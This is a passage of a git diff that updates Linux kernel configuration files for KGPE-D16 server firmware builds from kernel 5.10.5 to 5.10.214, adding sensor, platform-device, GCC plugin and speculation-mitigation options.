CONFIG_XILLYBUS is not set -# end of Character devices - CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1628,6 +1639,7 @@ CONFIG_POWER_SUPPLY=y # CONFIG_CHARGER_BQ2415X is not set # CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y @@ -1718,7 +1730,6 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_SKY81452 is not set # CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y -# CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_TI_LMU is not set @@ -1849,6 +1860,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2583,7 +2595,6 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set # CONFIG_SECURITYFS is not set -# CONFIG_PAGE_TABLE_ISOLATION is not set CONFIG_INTEL_TXT=y CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y @@ -2603,6 +2614,10 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization @@ -2779,18 +2794,6 @@ CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set CONFIG_CRYPTO_HASH_INFO=y - -# -# Crypto library routines -# -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y # CONFIG_CRYPTO_HW is not set # @@ -2815,6 +2818,21 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + +CONFIG_LIB_MEMNEQ=y # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set diff --git a/config/linux-kgpe-d16_server-whiptail.config b/config/linux-kgpe-d16_server-whiptail.config index eccb00b31..d79a5aa8c 100644 --- a/config/linux-kgpe-d16_server-whiptail.config +++ b/config/linux-kgpe-d16_server-whiptail.config @@ -1,12 +1,14 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 5.10.214 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y @@ -194,6 +196,7 @@ CONFIG_KALLSYMS_BASE_RELATIVE=y CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y CONFIG_RSEQ=y # CONFIG_DEBUG_RSEQ is not set CONFIG_EMBEDDED=y @@ -264,7 +267,6 @@ CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -CONFIG_RETPOLINE=y # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -369,6 +371,8 @@ CONFIG_LEGACY_VSYSCALL_XONLY=y CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +# CONFIG_SPECULATION_MITIGATIONS is not set CONFIG_ARCH_HAS_ADD_PAGES=y CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y @@ -539,6 +543,7 @@ CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y +CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_HAVE_ASM_MODVERSIONS=y @@ -605,6 +610,10 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_CYC_COMPLEXITY is not set +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +# CONFIG_GCC_PLUGIN_RANDSTRUCT is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -617,7 +626,8 @@ CONFIG_MODULES=y # CONFIG_MODULE_SIG is not set # CONFIG_MODULE_COMPRESS is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set -CONFIG_UNUSED_SYMBOLS=y +# CONFIG_UNUSED_SYMBOLS is not set +# CONFIG_TRIM_UNUSED_KSYMS is not set CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y CONFIG_BLK_SCSI_REQUEST=y @@ -738,6 +748,7 @@ CONFIG_SYN_COOKIES=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -759,7 +770,6 @@ CONFIG_DEFAULT_TCP_CONG="cubic" CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -948,7 +958,6 @@ CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set # CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 @@ -1333,7 +1342,6 @@ CONFIG_NET_VENDOR_XILINX=y # CONFIG_NETDEVSIM is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support @@ -1495,10 +1503,9 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1616,6 +1623,7 @@ CONFIG_I2C_SLAVE=y # CONFIG_POWER_RESET is not set CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set +CONFIG_POWER_SUPPLY_HWMON=y # CONFIG_PDA_POWER is not set # CONFIG_TEST_POWER is not set # CONFIG_CHARGER_ADP5061 is not set @@ -1633,12 +1641,162 @@ CONFIG_POWER_SUPPLY=y # CONFIG_CHARGER_BQ2415X is not set # CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set -# CONFIG_HWMON is not set +CONFIG_HWMON=y +# CONFIG_HWMON_DEBUG_CHIP is not set + +# +# Native drivers +# +# CONFIG_SENSORS_ABITUGURU is not set +# CONFIG_SENSORS_ABITUGURU3 is not set +# CONFIG_SENSORS_AD7414 is not set +# CONFIG_SENSORS_AD7418 is not set +# CONFIG_SENSORS_ADM1021 is not set +# CONFIG_SENSORS_ADM1025 is not set +# CONFIG_SENSORS_ADM1026 is not set +# CONFIG_SENSORS_ADM1029 is not set +# CONFIG_SENSORS_ADM1031 is not set +# CONFIG_SENSORS_ADM1177 is not set +# CONFIG_SENSORS_ADM9240 is not set +# CONFIG_SENSORS_ADT7410 is not set +# CONFIG_SENSORS_ADT7411 is not set +# CONFIG_SENSORS_ADT7462 is not set +# CONFIG_SENSORS_ADT7470 is not set +# CONFIG_SENSORS_ADT7475 is not set +# CONFIG_SENSORS_AS370 is not set +# CONFIG_SENSORS_ASC7621 is not set +# CONFIG_SENSORS_AXI_FAN_CONTROL is not set +# CONFIG_SENSORS_K8TEMP is not set +# CONFIG_SENSORS_K10TEMP is not set +# CONFIG_SENSORS_FAM15H_POWER is not set +# CONFIG_SENSORS_AMD_ENERGY is not set +# CONFIG_SENSORS_APPLESMC is not set +# CONFIG_SENSORS_ASB100 is not set +# CONFIG_SENSORS_ASPEED is not set +# CONFIG_SENSORS_ATXP1 is not set +# CONFIG_SENSORS_CORSAIR_CPRO is not set +# CONFIG_SENSORS_DRIVETEMP is not set +# CONFIG_SENSORS_DS620 is not set +# CONFIG_SENSORS_DS1621 is not set +# CONFIG_SENSORS_DELL_SMM is not set +# CONFIG_SENSORS_I5K_AMB is not set +# CONFIG_SENSORS_F71805F is not set +# CONFIG_SENSORS_F71882FG is not set +# CONFIG_SENSORS_F75375S is not set +# CONFIG_SENSORS_FSCHMD is not set +# CONFIG_SENSORS_GL518SM is not set +# CONFIG_SENSORS_GL520SM is not set +# CONFIG_SENSORS_G760A is not set +# CONFIG_SENSORS_G762 is not set +# CONFIG_SENSORS_HIH6130 is not set +# CONFIG_SENSORS_I5500 is not set +# CONFIG_SENSORS_CORETEMP is not set +# CONFIG_SENSORS_IT87 is not set +# CONFIG_SENSORS_JC42 is not set +# CONFIG_SENSORS_POWR1220 is not set +# CONFIG_SENSORS_LINEAGE is not set +# CONFIG_SENSORS_LTC2945 is not set +# CONFIG_SENSORS_LTC2947_I2C is not set +# CONFIG_SENSORS_LTC2990 is not set +# CONFIG_SENSORS_LTC4151 is not set +# CONFIG_SENSORS_LTC4215 is not set +# CONFIG_SENSORS_LTC4222 is not set +# CONFIG_SENSORS_LTC4245 is not set +# CONFIG_SENSORS_LTC4260 is not set +# CONFIG_SENSORS_LTC4261 is not set +# CONFIG_SENSORS_MAX16065 is not set +# CONFIG_SENSORS_MAX1619 is not set +# CONFIG_SENSORS_MAX1668 is not set +# CONFIG_SENSORS_MAX197 is not set +# CONFIG_SENSORS_MAX31730 is not set +# CONFIG_SENSORS_MAX6621 is not set +# CONFIG_SENSORS_MAX6639 is not set +# CONFIG_SENSORS_MAX6642 is not set +# CONFIG_SENSORS_MAX6650 is not set +# CONFIG_SENSORS_MAX6697 is not set +# CONFIG_SENSORS_MAX31790 is not set +# CONFIG_SENSORS_MCP3021 is not set +# CONFIG_SENSORS_TC654 is not set +# CONFIG_SENSORS_MR75203 is not set +# CONFIG_SENSORS_LM63 is not set +# CONFIG_SENSORS_LM73 is not set +# CONFIG_SENSORS_LM75 is not set +# CONFIG_SENSORS_LM77 is not set +# CONFIG_SENSORS_LM78 is not set +# CONFIG_SENSORS_LM80 is not set +# CONFIG_SENSORS_LM83 is not set +# CONFIG_SENSORS_LM85 is not set +# CONFIG_SENSORS_LM87 is not set +# CONFIG_SENSORS_LM90 is not set +# CONFIG_SENSORS_LM92 is not set +# CONFIG_SENSORS_LM93 is not set +# CONFIG_SENSORS_LM95234 is not set +# CONFIG_SENSORS_LM95241 is not set +# CONFIG_SENSORS_LM95245 is not set +# CONFIG_SENSORS_PC87360 is not set +# CONFIG_SENSORS_PC87427 is not set +# CONFIG_SENSORS_NTC_THERMISTOR is not set +# CONFIG_SENSORS_NCT6683 is not set +# CONFIG_SENSORS_NCT6775 is not set +# CONFIG_SENSORS_NCT7802 is not set +# CONFIG_SENSORS_NPCM7XX is not set +# CONFIG_SENSORS_PCF8591 is not set +# CONFIG_PMBUS is not set +# CONFIG_SENSORS_SHT21 is not set +# CONFIG_SENSORS_SHT3x is not set +# CONFIG_SENSORS_SHTC1 is not set +# CONFIG_SENSORS_SIS5595 is not set +# CONFIG_SENSORS_DME1737 is not set +# CONFIG_SENSORS_EMC1403 is not set +# CONFIG_SENSORS_EMC2103 is not set +# CONFIG_SENSORS_EMC6W201 is not set +# CONFIG_SENSORS_SMSC47M1 is not set +# CONFIG_SENSORS_SMSC47M192 is not set +# CONFIG_SENSORS_SMSC47B397 is not set +# CONFIG_SENSORS_STTS751 is not set +# CONFIG_SENSORS_SMM665 is not set +# CONFIG_SENSORS_ADC128D818 is not set +# CONFIG_SENSORS_ADS7828 is not set +# CONFIG_SENSORS_AMC6821 is not set +# CONFIG_SENSORS_INA209 is not set +# CONFIG_SENSORS_INA2XX is not set +# CONFIG_SENSORS_INA3221 is not set +# CONFIG_SENSORS_TC74 is not set +# CONFIG_SENSORS_THMC50 is not set +# CONFIG_SENSORS_TMP102 is not set +# CONFIG_SENSORS_TMP103 is not set +# CONFIG_SENSORS_TMP108 is not set +# CONFIG_SENSORS_TMP401 is not set +# CONFIG_SENSORS_TMP421 is not set +# CONFIG_SENSORS_TMP513 is not set +# CONFIG_SENSORS_VIA_CPUTEMP is not set +# CONFIG_SENSORS_VIA686A is not set +# CONFIG_SENSORS_VT1211 is not set +# CONFIG_SENSORS_VT8231 is not set +# CONFIG_SENSORS_W83773G is not set +# CONFIG_SENSORS_W83781D is not set +# CONFIG_SENSORS_W83791D is not set +# CONFIG_SENSORS_W83792D is not set +# CONFIG_SENSORS_W83793 is not set +# CONFIG_SENSORS_W83795 is not set +# CONFIG_SENSORS_W83L785TS is not set +# CONFIG_SENSORS_W83L786NG is not set +# CONFIG_SENSORS_W83627HF is not set +# CONFIG_SENSORS_W83627EHF is not set +# CONFIG_SENSORS_XGENE is not set + +# +# ACPI drivers +# +# CONFIG_SENSORS_ACPI_POWER is not set +# CONFIG_SENSORS_ATK0110 is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set # CONFIG_THERMAL_STATISTICS is not set CONFIG_THERMAL_EMERGENCY_POWEROFF_DELAY_MS=0 +CONFIG_THERMAL_HWMON=y # CONFIG_THERMAL_WRITABLE_TRIPS is not set CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y # CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set @@ -1693,6 +1851,7 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_LPC_SCH is not set # CONFIG_MFD_INTEL_LPSS_ACPI is not set # CONFIG_MFD_INTEL_LPSS_PCI is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set # CONFIG_MFD_IQS62X is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set @@ -1721,7 +1880,6 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_SKY81452 is not set # CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y -# CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_TI_LMU is not set @@ -1917,6 +2075,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2307,7 +2466,68 @@ CONFIG_VHOST_MENU=y # CONFIG_GREYBUS is not set # CONFIG_STAGING is not set -# CONFIG_X86_PLATFORM_DEVICES is not set +CONFIG_X86_PLATFORM_DEVICES=y +CONFIG_ACPI_WMI=y +CONFIG_WMI_BMOF=y +# CONFIG_HUAWEI_WMI is not set +# CONFIG_INTEL_WMI_SBL_FW_UPDATE is not set +# CONFIG_INTEL_WMI_THUNDERBOLT is not set +CONFIG_MXM_WMI=y +# CONFIG_PEAQ_WMI is not set +# CONFIG_XIAOMI_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_ACER_WMI is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_DCDBAS is not set +# CONFIG_DELL_SMBIOS is not set +# CONFIG_DELL_RBU is not set +# CONFIG_DELL_SMO8800 is not set +# CONFIG_DELL_WMI_AIO is not set +# CONFIG_FUJITSU_LAPTOP is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_HP_WIRELESS is not set +# CONFIG_HP_WMI is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_THINKPAD_ACPI is not set +# CONFIG_INTEL_HID_EVENT is not set +# CONFIG_INTEL_MENLOW is not set +# CONFIG_INTEL_VBTN is not set +# CONFIG_SURFACE_3_POWER_OPREGION is not set +# CONFIG_SURFACE_PRO3_BUTTON is not set +# CONFIG_MSI_WMI is not set +# CONFIG_SAMSUNG_LAPTOP is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_TOSHIBA_WMI is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_LG_LAPTOP is not set +# CONFIG_PANASONIC_LAPTOP is not set +# CONFIG_SYSTEM76_ACPI is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_I2C_MULTI_INSTANTIATE is not set +# CONFIG_MLX_PLATFORM is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# CONFIG_INTEL_PMC_CORE is not set +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set CONFIG_PMC_ATOM=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set @@ -2628,7 +2848,6 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITYFS=y -CONFIG_PAGE_TABLE_ISOLATION=y CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y CONFIG_HARDENED_USERCOPY_FALLBACK=y @@ -2646,6 +2865,10 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization @@ -2820,18 +3043,6 @@ CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set CONFIG_CRYPTO_HASH_INFO=y - -# -# Crypto library routines -# -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y # CONFIG_CRYPTO_HW is not set # @@ -2856,6 +3067,21 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + +CONFIG_LIB_MEMNEQ=y # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set diff --git a/config/linux-kgpe-d16_server.config b/config/linux-kgpe-d16_server.config index eccb00b31..2ca92f0c3 100644 --- a/config/linux-kgpe-d16_server.config +++ b/config/linux-kgpe-d16_server.config @@ -1,12 +1,14 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 5.10.214 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y @@ -194,6 +196,7 @@ CONFIG_KALLSYMS_BASE_RELATIVE=y CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y CONFIG_RSEQ=y # CONFIG_DEBUG_RSEQ is not set CONFIG_EMBEDDED=y @@ -264,7 +267,6 @@ CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -CONFIG_RETPOLINE=y # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -369,6 +371,14 @@ CONFIG_LEGACY_VSYSCALL_XONLY=y CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_UNRET_ENTRY=y +CONFIG_CPU_IBPB_ENTRY=y +CONFIG_CPU_SRSO=y CONFIG_ARCH_HAS_ADD_PAGES=y CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y @@ -539,6 +549,7 @@ CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y +CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_HAVE_ASM_MODVERSIONS=y @@ -605,6 +616,10 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_CYC_COMPLEXITY is not set +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +# CONFIG_GCC_PLUGIN_RANDSTRUCT is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -738,6 +753,7 @@ CONFIG_SYN_COOKIES=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -759,7 +775,6 @@ CONFIG_DEFAULT_TCP_CONG="cubic" CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -948,7 +963,6 @@ CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set # CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 @@ -1333,7 +1347,6 @@ CONFIG_NET_VENDOR_XILINX=y # CONFIG_NETDEVSIM is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support @@ -1495,10 +1508,9 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1616,6 +1628,7 @@ CONFIG_I2C_SLAVE=y # CONFIG_POWER_RESET is not set CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set +CONFIG_POWER_SUPPLY_HWMON=y # CONFIG_PDA_POWER is not set # CONFIG_TEST_POWER is not set # CONFIG_CHARGER_ADP5061 is not set @@ -1633,12 +1646,162 @@ CONFIG_POWER_SUPPLY=y # CONFIG_CHARGER_BQ2415X is not set # CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set -# CONFIG_HWMON is not set +CONFIG_HWMON=y +# CONFIG_HWMON_DEBUG_CHIP is not set + +# +# Native drivers +# +# CONFIG_SENSORS_ABITUGURU is not set +# CONFIG_SENSORS_ABITUGURU3 is not set +# CONFIG_SENSORS_AD7414 is not set +# CONFIG_SENSORS_AD7418 is not set +# CONFIG_SENSORS_ADM1021 is not set +# CONFIG_SENSORS_ADM1025 is not set +# CONFIG_SENSORS_ADM1026 is not set +# CONFIG_SENSORS_ADM1029 is not set +# CONFIG_SENSORS_ADM1031 is not set +# CONFIG_SENSORS_ADM1177 is not set +# CONFIG_SENSORS_ADM9240 is not set +# CONFIG_SENSORS_ADT7410 is not set +# CONFIG_SENSORS_ADT7411 is not set +# CONFIG_SENSORS_ADT7462 is not set +# CONFIG_SENSORS_ADT7470 is not set +# CONFIG_SENSORS_ADT7475 is not set +# CONFIG_SENSORS_AS370 is not set +# CONFIG_SENSORS_ASC7621 is not set +# CONFIG_SENSORS_AXI_FAN_CONTROL is not set +# CONFIG_SENSORS_K8TEMP is not set +# CONFIG_SENSORS_K10TEMP is not set +# CONFIG_SENSORS_FAM15H_POWER is not set +# 